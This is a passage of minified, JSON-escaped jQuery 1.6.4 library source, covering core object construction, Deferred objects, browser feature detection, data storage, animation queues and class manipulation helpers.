bY(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bA.test(a)?d(a,e):bY(a+\"[\"+(typeof e==\"object\"||f.isArray(e)?b:\"\")+\"]\",e,c,d)});else if(!c\u0026\u0026b!=null\u0026\u0026typeof b==\"object\")for(var e in b)bY(a+\"[\"+e+\"]\",b[e],c,d);else d(a,b)}function bX(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b\u0026\u0026((g[d]?a:e||(e={}))[d]=c[d]);e\u0026\u0026f.extend(!0,a,e)}function bW(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bP,l;for(;i\u003cj\u0026\u0026(k||!l);i++)l=h[i](c,d,e),typeof l==\"string\"\u0026\u0026(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bW(a,c,d,e,l,g)));(k||!l)\u0026\u0026!g[\"*\"]\u0026\u0026(l=bW(a,c,d,e,\"*\",g));return l}function bV(a){return function(b,c){typeof b!=\"string\"\u0026\u0026(c=b,b=\"*\");if(f.isFunction(c)){var d=b.toLowerCase().split(bL),e=0,g=d.length,h,i,j;for(;e\u003cg;e++)h=d[e],j=/^\\+/.test(h),j\u0026\u0026(h=h.substr(1)||\"*\"),i=a[h]=a[h]||[],i[j?\"unshift\":\"push\"](c)}}}function by(a,b,c){var d=b===\"width\"?a.offsetWidth:a.offsetHeight,e=b===\"width\"?bt:bu;if(d\u003e0){c!==\"border\"\u0026\u0026f.each(e,function(){c||(d-=parseFloat(f.css(a,\"padding\"+this))||0),c===\"margin\"?d+=parseFloat(f.css(a,c+this))||0:d-=parseFloat(f.css(a,\"border\"+this+\"Width\"))||0});return d+\"px\"}d=bv(a,b,b);if(d\u003c0||d==null)d=a.style[b]||0;d=parseFloat(d)||0,c\u0026\u0026f.each(e,function(){d+=parseFloat(f.css(a,\"padding\"+this))||0,c!==\"padding\"\u0026\u0026(d+=parseFloat(f.css(a,\"border\"+this+\"Width\"))||0),c===\"margin\"\u0026\u0026(d+=parseFloat(f.css(a,c+this))||0)});return d+\"px\"}function bl(a,b){b.src?f.ajax({url:b.src,async:!1,dataType:\"script\"}):f.globalEval((b.text||b.textContent||b.innerHTML||\"\").replace(bd,\"/*$0*/\")),b.parentNode\u0026\u0026b.parentNode.removeChild(b)}function bk(a){f.nodeName(a,\"input\")?bj(a):\"getElementsByTagName\"in a\u0026\u0026f.grep(a.getElementsByTagName(\"input\"),bj)}function bj(a){if(a.type===\"checkbox\"||a.type===\"radio\")a.defaultChecked=a.checked}function bi(a){return\"getElementsByTagName\"in a?a.getElementsByTagName(\"*\"):\"querySelectorAll\"in a?a.querySelectorAll(\"*\"):[]}function bh(a,b){var c;if(b.nodeType===1){b.clearAttributes\u0026\u0026b.clearAttributes(),b.mergeAttributes\u0026\u0026b.mergeAttributes(a),c=b.nodeName.toLowerCase();if(c===\"object\")b.outerHTML=a.outerHTML;else if(c!==\"input\"||a.type!==\"checkbox\"\u0026\u0026a.type!==\"radio\"){if(c===\"option\")b.selected=a.defaultSelected;else if(c===\"input\"||c===\"textarea\")b.defaultValue=a.defaultValue}else a.checked\u0026\u0026(b.defaultChecked=b.checked=a.checked),b.value!==a.value\u0026\u0026(b.value=a.value);b.removeAttribute(f.expando)}}function bg(a,b){if(b.nodeType===1\u0026\u0026!!f.hasData(a)){var c=f.expando,d=f.data(a),e=f.data(b,d);if(d=d[c]){var g=d.events;e=e[c]=f.extend({},d);if(g){delete e.handle,e.events={};for(var h in g)for(var i=0,j=g[h].length;i\u003cj;i++)f.event.add(b,h+(g[h][i].namespace?\".\":\"\")+g[h][i].namespace,g[h][i],g[h][i].data)}}}}function bf(a,b){return f.nodeName(a,\"table\")?a.getElementsByTagName(\"tbody\")[0]||a.appendChild(a.ownerDocument.createElement(\"tbody\")):a}function V(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b==\"string\"){var d=f.grep(a,function(a){return a.nodeType===1});if(Q.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)\u003e=0===c})}function U(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function M(a,b){return(a\u0026\u0026a!==\"*\"?a+\".\":\"\")+b.replace(y,\"`\").replace(z,\"\u0026\")}function L(a){var b,c,d,e,g,h,i,j,k,l,m,n,o,p=[],q=[],r=f._data(this,\"events\");if(!(a.liveFired===this||!r||!r.live||a.target.disabled||a.button\u0026\u0026a.type===\"click\")){a.namespace\u0026\u0026(n=new RegExp(\"(^|\\\\.)\"+a.namespace.split(\".\").join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\")),a.liveFired=this;var s=r.live.slice(0);for(i=0;i\u003cs.length;i++)g=s[i],g.origType.replace(w,\"\")===a.type?q.push(g.selector):s.splice(i--,1);e=f(a.target).closest(q,a.currentTarget);for(j=0,k=e.length;j\u003ck;j++){m=e[j];for(i=0;i\u003cs.length;i++){g=s[i];if(m.selector===g.selector\u0026\u0026(!n||n.test(g.namespace))\u0026\u0026!m.elem.disabled){h=m.elem,d=null;if(g.preType===\"mouseenter\"||g.preType===\"mouseleave\")a.type=g.preType,d=f(a.relatedTarget).closest(g.selector)[0],d\u0026\u0026f.contains(h,d)\u0026\u0026(d=h);(!d||d!==h)\u0026\u0026p.push({elem:h,handleObj:g,level:m.level})}}}for(j=0,k=p.length;j\u003ck;j++){e=p[j];if(c\u0026\u0026e.level\u003ec)break;a.currentTarget=e.elem,a.data=e.handleObj.data,a.handleObj=e.handleObj,o=e.handleObj.origHandler.apply(e.elem,arguments);if(o===!1||a.isPropagationStopped()){c=e.level,o===!1\u0026\u0026(b=!1);if(a.isImmediatePropagationStopped())break}}return b}}function J(a,c,d){var e=f.extend({},d[0]);e.type=a,e.originalEvent={},e.liveFired=b,f.event.handle.call(c,e),e.isDefaultPrevented()\u0026\u0026d[0].preventDefault()}function D(){return!0}function C(){return!1}function m(a,c,d){var e=c+\"defer\",g=c+\"queue\",h=c+\"mark\",i=f.data(a,e,b,!0);i\u0026\u0026(d===\"queue\"||!f.data(a,g,b,!0))\u0026\u0026(d===\"mark\"||!f.data(a,h,b,!0))\u0026\u0026setTimeout(function(){!f.data(a,g,b,!0)\u0026\u0026!f.data(a,h,b,!0)\u0026\u0026(f.removeData(a,e,!0),i.resolve())},0)}function l(a){for(var b in a)if(b!==\"toJSON\")return!1;return!0}function k(a,c,d){if(d===b\u0026\u0026a.nodeType===1){var e=\"data-\"+c.replace(j,\"-$1\").toLowerCase();d=a.getAttribute(e);if(typeof d==\"string\"){try{d=d===\"true\"?!0:d===\"false\"?!1:d===\"null\"?null:f.isNaN(d)?i.test(d)?f.parseJSON(d):d:parseFloat(d)}catch(g){}f.data(a,c,d)}else d=b}return d}var c=a.document,d=a.navigator,e=a.location,f=function(){function K(){if(!e.isReady){try{c.documentElement.doScroll(\"left\")}catch(a){setTimeout(K,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#\u003c]*(\u003c[\\w\\W]+\u003e)[^\u003e]*$|#([\\w\\-]*)$)/,j=/\\S/,k=/^\\s+/,l=/\\s+$/,m=/\\d/,n=/^\u003c(\\w+)\\s*\\/?\u003e(?:\u003c\\/\\1\u003e)?$/,o=/^[\\],:{}\\s]*$/,p=/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g,q=/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g,r=/(?:^|:|,)(?:\\s*\\[)+/g,s=/(webkit)[ \\/]([\\w.]+)/,t=/(opera)(?:.*version)?[ \\/]([\\w.]+)/,u=/(msie) ([\\w.]+)/,v=/(mozilla)(?:.*? rv:([\\w.]+))?/,w=/-([a-z]|[0-9])/ig,x=/^-ms-/,y=function(a,b){return(b+\"\").toUpperCase()},z=d.userAgent,A,B,C,D=Object.prototype.toString,E=Object.prototype.hasOwnProperty,F=Array.prototype.push,G=Array.prototype.slice,H=String.prototype.trim,I=Array.prototype.indexOf,J={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a===\"body\"\u0026\u0026!d\u0026\u0026c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a==\"string\"){a.charAt(0)!==\"\u003c\"||a.charAt(a.length-1)!==\"\u003e\"||a.length\u003c3?g=i.exec(a):g=[null,a,null];if(g\u0026\u0026(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=n.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h\u0026\u0026h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b\u0026\u0026(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:\"\",jquery:\"1.6.4\",length:0,size:function(){return this.length},toArray:function(){return G.call(this,0)},get:function(a){return a==null?this.toArray():a\u003c0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?F.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b===\"find\"?d.selector=this.selector+(this.selector?\" \":\"\")+c:b\u0026\u0026(d.selector=this.selector+\".\"+b+\"(\"+c+\")\");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),B.done(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(G.apply(this,arguments),\"slice\",G.call(arguments).join(\",\"))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:F,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i==\"boolean\"\u0026\u0026(l=i,i=arguments[1]||{},j=2),typeof i!=\"object\"\u0026\u0026!e.isFunction(i)\u0026\u0026(i={}),k===j\u0026\u0026(i=this,--j);for(;j\u003ck;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l\u0026\u0026f\u0026\u0026(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d\u0026\u0026e.isArray(d)?d:[]):h=d\u0026\u0026e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b\u0026\u0026(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e\u0026\u0026(a.$=g),b\u0026\u0026a.jQuery===e\u0026\u0026(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0\u0026\u0026!--e.readyWait||a!==!0\u0026\u0026!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0\u0026\u0026--e.readyWait\u003e0)return;B.resolveWith(c,[e]),e.fn.trigger\u0026\u0026e(c).trigger(\"ready\").unbind(\"ready\")}},bindReady:function(){if(!B){B=e._Deferred();if(c.readyState===\"complete\")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener(\"DOMContentLoaded\",C,!1),a.addEventListener(\"load\",e.ready,!1);else if(c.attachEvent){c.attachEvent(\"onreadystatechange\",C),a.attachEvent(\"onload\",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll\u0026\u0026b\u0026\u0026K()}}},isFunction:function(a){return e.type(a)===\"function\"},isArray:Array.isArray||function(a){return e.type(a)===\"array\"},isWindow:function(a){return a\u0026\u0026typeof a==\"object\"\u0026\u0026\"setInterval\"in a},isNaN:function(a){return a==null||!m.test(a)||isNaN(a)},type:function(a){return a==null?String(a):J[D.call(a)]||\"object\"},isPlainObject:function(a){if(!a||e.type(a)!==\"object\"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor\u0026\u0026!E.call(a,\"constructor\")\u0026\u0026!E.call(a.constructor.prototype,\"isPrototypeOf\"))return!1}catch(c){return!1}var d;for(d in a);return d===b||E.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw a},parseJSON:function(b){if(typeof b!=\"string\"||!b)return null;b=e.trim(b);if(a.JSON\u0026\u0026a.JSON.parse)return a.JSON.parse(b);if(o.test(b.replace(p,\"@\").replace(q,\"]\").replace(r,\"\")))return(new Function(\"return \"+b))();e.error(\"Invalid JSON: \"+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,\"text/xml\")):(d=new ActiveXObject(\"Microsoft.XMLDOM\"),d.async=\"false\",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName(\"parsererror\").length)\u0026\u0026e.error(\"Invalid XML: \"+c);return d},noop:function(){},globalEval:function(b){b\u0026\u0026j.test(b)\u0026\u0026(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(x,\"ms-\").replace(w,y)},nodeName:function(a,b){return a.nodeName\u0026\u0026a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g\u003ch;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g\u003ch;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:H?function(a){return a==null?\"\":H.call(a)}:function(a){return a==null?\"\":(a+\"\").replace(k,\"\").replace(l,\"\")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d===\"string\"||d===\"function\"||d===\"regexp\"||e.isWindow(a)?F.call(c,a):e.merge(c,a)}return c},inArray:function(a,b){if(!b)return-1;if(I)return I.call(b,a);for(var c=0,d=b.length;c\u003cd;c++)if(b[c]===a)return c;return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length==\"number\")for(var f=c.length;e\u003cf;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f\u003cg;f++)e=!!b(a[f],f),c!==e\u0026\u0026d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b\u0026\u0026typeof j==\"number\"\u0026\u0026(j\u003e0\u0026\u0026a[0]\u0026\u0026a[j-1]||j===0||e.isArray(a));if(k)for(;i\u003cj;i++)f=c(a[i],i,d),f!=null\u0026\u0026(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null\u0026\u0026(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c==\"string\"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=G.call(arguments,2),g=function(){return a.apply(c,f.concat(G.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h){var i=a.length;if(typeof c==\"object\"){for(var j in c)e.access(a,j,c[j],f,g,d);return a}if(d!==b){f=!h\u0026\u0026f\u0026\u0026e.isFunction(d);for(var k=0;k\u003ci;k++)g(a[k],c,f?d.call(a[k],k,g(a[k],c)):d,h);return a}return i?g(a[0],c):b},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=s.exec(a)||t.exec(a)||u.exec(a)||a.indexOf(\"compatible\")\u003c0\u0026\u0026v.exec(a)||[];return{browser:b[1]||\"\",version:b[2]||\"0\"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f\u0026\u0026f instanceof e\u0026\u0026!(f instanceof a)\u0026\u0026(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each(\"Boolean Number String Function Array Date RegExp Object\".split(\" \"),function(a,b){J[\"[object \"+b+\"]\"]=b.toLowerCase()}),A=e.uaMatch(z),A.browser\u0026\u0026(e.browser[A.browser]=!0,e.browser.version=A.version),e.browser.webkit\u0026\u0026(e.browser.safari=!0),j.test(\" \")\u0026\u0026(k=/^[\\s\\xA0]+/,l=/[\\s\\xA0]+$/),h=e(c),c.addEventListener?C=function(){c.removeEventListener(\"DOMContentLoaded\",C,!1),e.ready()}:c.attachEvent\u0026\u0026(C=function(){c.readyState===\"complete\"\u0026\u0026(c.detachEvent(\"onreadystatechange\",C),e.ready())});return e}(),g=\"done fail isResolved isRejected promise then always pipe\".split(\" \"),h=[].slice;f.extend({_Deferred:function(){var a=[],b,c,d,e={done:function(){if(!d){var c=arguments,g,h,i,j,k;b\u0026\u0026(k=b,b=0);for(g=0,h=c.length;g\u003ch;g++)i=c[g],j=f.type(i),j===\"array\"?e.done.apply(e,i):j===\"function\"\u0026\u0026a.push(i);k\u0026\u0026e.resolveWith(k[0],k[1])}return this},resolveWith:function(e,f){if(!d\u0026\u0026!b\u0026\u0026!c){f=f||[],c=1;try{while(a[0])a.shift().apply(e,f)}finally{b=[e,f],c=0}}return this},resolve:function(){e.resolveWith(this,arguments);return this},isResolved:function(){return!!c||!!b},cancel:function(){d=1,a=[];return this}};return e},Deferred:function(a){var b=f._Deferred(),c=f._Deferred(),d;f.extend(b,{then:function(a,c){b.done(a).fail(c);return this},always:function(){return b.done.apply(b,arguments).fail.apply(this,arguments)},fail:c.done,rejectWith:c.resolveWith,reject:c.resolve,isRejected:c.isResolved,pipe:function(a,c){return f.Deferred(function(d){f.each({done:[a,\"resolve\"],fail:[c,\"reject\"]},function(a,c){var e=c[0],g=c[1],h;f.isFunction(e)?b[a](function(){h=e.apply(this,arguments),h\u0026\u0026f.isFunction(h.promise)?h.promise().then(d.resolve,d.reject):d[g+\"With\"](this===b?d:this,[h])}):b[a](d[g])})}).promise()},promise:function(a){if(a==null){if(d)return d;d=a={}}var c=g.length;while(c--)a[g[c]]=b[g[c]];return a}}),b.done(c.cancel).fail(b.cancel),delete b.cancel,a\u0026\u0026a.call(b,b);return b},when:function(a){function i(a){return function(c){b[a]=arguments.length\u003e1?h.call(arguments,0):c,--e||g.resolveWith(g,h.call(b,0))}}var b=arguments,c=0,d=b.length,e=d,g=d\u003c=1\u0026\u0026a\u0026\u0026f.isFunction(a.promise)?a:f.Deferred();if(d\u003e1){for(;c\u003cd;c++)b[c]\u0026\u0026f.isFunction(b[c].promise)?b[c].promise().then(i(c),g.reject):--e;e||g.resolveWith(g,b)}else g!==a\u0026\u0026g.resolveWith(g,d?[a]:[]);return g.promise()}}),f.support=function(){var a=c.createElement(\"div\"),b=c.documentElement,d,e,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u;a.setAttribute(\"className\",\"t\"),a.innerHTML=\" \u003clink/\u003e\u003ctable\u003e\u003c/table\u003e\u003ca href='/a' style='top:1px;float:left;opacity:.55;'\u003ea\u003c/a\u003e\u003cinput type='checkbox'/\u003e\",d=a.getElementsByTagName(\"*\"),e=a.getElementsByTagName(\"a\")[0];if(!d||!d.length||!e)return{};g=c.createElement(\"select\"),h=g.appendChild(c.createElement(\"option\")),i=a.getElementsByTagName(\"input\")[0],k={leadingWhitespace:a.firstChild.nodeType===3,tbody:!a.getElementsByTagName(\"tbody\").length,htmlSerialize:!!a.getElementsByTagName(\"link\").length,style:/top/.test(e.getAttribute(\"style\")),hrefNormalized:e.getAttribute(\"href\")===\"/a\",opacity:/^0.55$/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value===\"on\",optSelected:h.selected,getSetAttribute:a.className!==\"t\",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,k.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,k.optDisabled=!h.disabled;try{delete a.test}catch(v){k.deleteExpando=!1}!a.addEventListener\u0026\u0026a.attachEvent\u0026\u0026a.fireEvent\u0026\u0026(a.attachEvent(\"onclick\",function(){k.noCloneEvent=!1}),a.cloneNode(!0).fireEvent(\"onclick\")),i=c.createElement(\"input\"),i.value=\"t\",i.setAttribute(\"type\",\"radio\"),k.radioValue=i.value===\"t\",i.setAttribute(\"checked\",\"checked\"),a.appendChild(i),l=c.createDocumentFragment(),l.appendChild(a.firstChild),k.checkClone=l.cloneNode(!0).cloneNode(!0).lastChild.checked,a.innerHTML=\"\",a.style.width=a.style.paddingLeft=\"1px\",m=c.getElementsByTagName(\"body\")[0],o=c.createElement(m?\"div\":\"body\"),p={visibility:\"hidden\",width:0,height:0,border:0,margin:0,background:\"none\"},m\u0026\u0026f.extend(p,{position:\"absolute\",left:\"-1000px\",top:\"-1000px\"});for(t in p)o.style[t]=p[t];o.appendChild(a),n=m||b,n.insertBefore(o,n.firstChild),k.appendChecked=i.checked,k.boxModel=a.offsetWidth===2,\"zoom\"in a.style\u0026\u0026(a.style.display=\"inline\",a.style.zoom=1,k.inlineBlockNeedsLayout=a.offsetWidth===2,a.style.display=\"\",a.innerHTML=\"\u003cdiv style='width:4px;'\u003e\u003c/div\u003e\",k.shrinkWrapBlocks=a.offsetWidth!==2),a.innerHTML=\"\u003ctable\u003e\u003ctr\u003e\u003ctd style='padding:0;border:0;display:none'\u003e\u003c/td\u003e\u003ctd\u003et\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",q=a.getElementsByTagName(\"td\"),u=q[0].offsetHeight===0,q[0].style.display=\"\",q[1].style.display=\"none\",k.reliableHiddenOffsets=u\u0026\u0026q[0].offsetHeight===0,a.innerHTML=\"\",c.defaultView\u0026\u0026c.defaultView.getComputedStyle\u0026\u0026(j=c.createElement(\"div\"),j.style.width=\"0\",j.style.marginRight=\"0\",a.appendChild(j),k.reliableMarginRight=(parseInt((c.defaultView.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0),o.innerHTML=\"\",n.removeChild(o);if(a.attachEvent)for(t in{submit:1,change:1,focusin:1})s=\"on\"+t,u=s in a,u||(a.setAttribute(s,\"return;\"),u=typeof a[s]==\"function\"),k[t+\"Bubbles\"]=u;o=l=g=h=m=j=a=i=null;return k}(),f.boxModel=f.support.boxModel;var i=/^(?:\\{.*\\}|\\[.*\\])$/,j=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:\"jQuery\"+(f.fn.jquery+Math.random()).replace(/\\D/g,\"\"),noData:{embed:!0,object:\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a\u0026\u0026!l(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i=f.expando,j=typeof c==\"string\",k=a.nodeType,l=k?f.cache:a,m=k?a[f.expando]:a[f.expando]\u0026\u0026f.expando;if((!m||e\u0026\u0026m\u0026\u0026l[m]\u0026\u0026!l[m][i])\u0026\u0026j\u0026\u0026d===b)return;m||(k?a[f.expando]=m=++f.uuid:m=f.expando),l[m]||(l[m]={},k||(l[m].toJSON=f.noop));if(typeof c==\"object\"||typeof c==\"function\")e?l[m][i]=f.extend(l[m][i],c):l[m]=f.extend(l[m],c);g=l[m],e\u0026\u0026(g[i]||(g[i]={}),g=g[i]),d!==b\u0026\u0026(g[f.camelCase(c)]=d);if(c===\"events\"\u0026\u0026!g[c])return g[i]\u0026\u0026g[i].events;j?(h=g[c],h==null\u0026\u0026(h=g[f.camelCase(c)])):h=g;return h}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e=f.expando,g=a.nodeType,h=g?f.cache:a,i=g?a[f.expando]:f.expando;if(!h[i])return;if(b){d=c?h[i][e]:h[i];if(d){d[b]||(b=f.camelCase(b)),delete d[b];if(!l(d))return}}if(c){delete h[i][e];if(!l(h[i]))return}var j=h[i][e];f.support.deleteExpando||!h.setInterval?delete h[i]:h[i]=null,j?(h[i]={},g||(h[i].toJSON=f.noop),h[i][e]=j):g\u0026\u0026(f.support.deleteExpando?delete a[f.expando]:a.removeAttribute?a.removeAttribute(f.expando):a[f.expando]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0\u0026\u0026a.getAttribute(\"classid\")===b}return!0}}),f.fn.extend({data:function(a,c){var d=null;if(typeof a==\"undefined\"){if(this.length){d=f.data(this[0]);if(this[0].nodeType===1){var e=this[0].attributes,g;for(var h=0,i=e.length;h\u003ci;h++)g=e[h].name,g.indexOf(\"data-\")===0\u0026\u0026(g=f.camelCase(g.substring(5)),k(this[0],g,d[g]))}}return d}if(typeof a==\"object\")return this.each(function(){f.data(this,a)});var j=a.split(\".\");j[1]=j[1]?\".\"+j[1]:\"\";if(c===b){d=this.triggerHandler(\"getData\"+j[1]+\"!\",[j[0]]),d===b\u0026\u0026this.length\u0026\u0026(d=f.data(this[0],a),d=k(this[0],a,d));return d===b\u0026\u0026j[1]?this.data(j[0]):d}return this.each(function(){var b=f(this),d=[j[0],c];b.triggerHandler(\"setData\"+j[1]+\"!\",d),f.data(this,a,c),b.triggerHandler(\"changeData\"+j[1]+\"!\",d)})},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,c){a\u0026\u0026(c=(c||\"fx\")+\"mark\",f.data(a,c,(f.data(a,c,b,!0)||0)+1,!0))},_unmark:function(a,c,d){a!==!0\u0026\u0026(d=c,c=a,a=!1);if(c){d=d||\"fx\";var e=d+\"mark\",g=a?0:(f.data(c,e,b,!0)||1)-1;g?f.data(c,e,g,!0):(f.removeData(c,e,!0),m(c,d,\"mark\"))}},queue:function(a,c,d){if(a){c=(c||\"fx\")+\"queue\";var e=f.data(a,c,b,!0);d\u0026\u0026(!e||f.isArray(d)?e=f.data(a,c,f.makeArray(d),!0):e.push(d));return e||[]}},dequeue:function(a,b){b=b||\"fx\";var c=f.queue(a,b),d=c.shift(),e;d===\"inprogress\"\u0026\u0026(d=c.shift()),d\u0026\u0026(b===\"fx\"\u0026\u0026c.unshift(\"inprogress\"),d.call(a,function(){f.dequeue(a,b)})),c.length||(f.removeData(a,b+\"queue\",!0),m(a,b,\"queue\"))}}),f.fn.extend({queue:function(a,c){typeof a!=\"string\"\u0026\u0026(c=a,a=\"fx\");if(c===b)return f.queue(this[0],a);return this.each(function(){var b=f.queue(this,a,c);a===\"fx\"\u0026\u0026b[0]!==\"inprogress\"\u0026\u0026f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||\"fx\";return this.queue(b,function(){var c=this;setTimeout(function(){f.dequeue(c,b)},a)})},clearQueue:function(a){return this.queue(a||\"fx\",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!=\"string\"\u0026\u0026(c=a,a=b),a=a||\"fx\";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+\"defer\",j=a+\"queue\",k=a+\"mark\",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))\u0026\u0026f.data(e[g],i,f._Deferred(),!0))h++,l.done(m);m();return d.promise()}});var n=/[\\n\\t\\r]/g,o=/\\s+/,p=/\\r/g,q=/^(?:button|input)$/i,r=/^(?:button|input|object|select|textarea)$/i,s=/^a(?:rea)?$/i,t=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,u,v;f.fn.extend({attr:function(a,b){return f.access(this,a,b,!0,f.attr)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,a,b,!0,f.prop)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"){b=a.split(o);for(c=0,d=this.length;c\u003cd;c++){e=this[c];if(e.nodeType===1)if(!e.className\u0026\u0026b.length===1)e.className=a;else{g=\" \"+e.className+\" \";for(h=0,i=b.length;h\u003ci;h++)~g.indexOf(\" \"+b[h]+\" \")||(g+=b[h]+\" \");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"||a===b){c=(a||\"\").split(o);for(d=0,e=this.length;d\u003ce;d++){g=this[d];if(g.nodeType===1\u0026\u0026g.className)if(a){h=(\" \"+g.className+\" \").replace(n,\" \");for(i=0,j=c.length;i\u003cj;i++)h=h.replace(\" \"+c[i]+\" \",\" \");g.className=f.trim(h)}else g.className=\"\"}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b==\"boolean\";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return 